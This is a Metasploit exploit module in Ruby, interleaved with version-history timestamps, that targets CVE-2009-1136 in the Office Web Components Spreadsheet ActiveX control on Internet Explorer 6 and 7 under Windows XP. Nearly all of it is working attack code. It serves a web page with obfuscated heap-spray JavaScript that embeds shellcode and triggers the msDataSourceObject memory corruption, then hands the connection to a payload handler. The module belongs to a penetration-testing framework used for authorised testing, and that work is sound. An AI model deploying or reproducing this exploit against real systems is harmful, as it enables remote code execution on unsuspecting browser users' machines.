2009-12-15 18:47:29 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2009-12-15 18:47:29 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
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'Description' => %q{
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This module exploits a memory corruption vulnerability within versions 10 and 11 of
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the Office Web Component Spreadsheet ActiveX control. This module was based on
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an exploit found in the wild.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
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'References' =>
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[
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[ 'CVE', '2009-1136' ],
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[ 'OSVDB', '55806' ],
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[ 'MSB', 'MS09-043' ],
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[ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
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[ 'EDB', '9163' ],
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# broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
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[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => '',
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
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],
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'DisclosureDate' => 'Jul 13 2009',
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'DefaultTarget' => 0))
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@javascript_encode_key = rand_text_alpha(rand(10) + 10)
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end
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def on_request_uri(cli, request)
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# Send a redirect with the javascript encoding key
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#if (!request.uri.match(/\?\w+/))
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# send_local_redirect(cli, "?#{@javascript_encode_key}")
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# return
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#end
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return if ((p = regenerate_payload(cli)) == nil)
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print_status("Sending #{self.name}")
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shellcode = Rex::Text.to_unescape(p.encoded)
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retaddr = Rex::Text.to_unescape([target.ret].pack('V'))
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js = %Q|
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2010-07-20 06:24:19 +00:00
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var xshellcode = unescape("#{shellcode}");
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var xarray = new Array();
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var xls = 0x81000-(xshellcode.length*2);
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var xbigblock = unescape("#{retaddr}");
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while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
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var xlh = xbigblock.substring(0, xls / 2);
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delete xbigblock;
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for(xi=0; xi<0x99*2; xi++) {
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2013-08-30 21:28:54 +00:00
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xarray[xi] = xlh + xlh + xshellcode;
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2010-07-20 06:24:19 +00:00
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}
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CollectGarbage();
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var xobj;
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try {
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2013-08-30 21:28:54 +00:00
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xobj = new ActiveXObject("OWC10.Spreadsheet");
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2010-07-20 06:24:19 +00:00
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} catch(err) {
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2013-08-30 21:28:54 +00:00
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try {
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xobj = new ActiveXObject("OWC11.Spreadsheet");
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} catch(err) {
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}
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2010-07-20 06:24:19 +00:00
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}
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xe = new Array();
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xe.push(1);
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xe.push(2);
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xe.push(0);
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xe.push(window);
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for(xi=0; xi < xe.length; xi++){
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2013-08-30 21:28:54 +00:00
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for(xj=0; xj<10; xj++){
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try { xobj.Evaluate(xe[xi]); } catch(e) { }
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}
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2010-07-20 06:24:19 +00:00
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}
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window.status = xe[3] + '';
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for(xj=0; xj<10; xj++){
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2013-08-30 21:28:54 +00:00
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try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
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2010-07-20 06:24:19 +00:00
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}
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2009-12-15 18:47:29 +00:00
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2013-08-30 21:28:54 +00:00
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# Obfuscate it up a bit
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js = obfuscate_js(js,
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'Symbols' => {
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'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
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}
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).to_s
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2010-05-03 17:13:09 +00:00
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2013-08-30 21:28:54 +00:00
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# Encode the javascript payload with the URI key
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# js = encrypt_js(js, @javascript_encode_key)
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2010-05-03 17:13:09 +00:00
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2013-08-30 21:28:54 +00:00
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# Fire off the page to the client
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send_response(cli, "<html><script language='javascript'>#{js}</script></html>")
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2010-05-03 17:13:09 +00:00
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2013-08-30 21:28:54 +00:00
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# Handle the payload
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handler(cli)
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end
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2009-12-15 18:47:29 +00:00
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end
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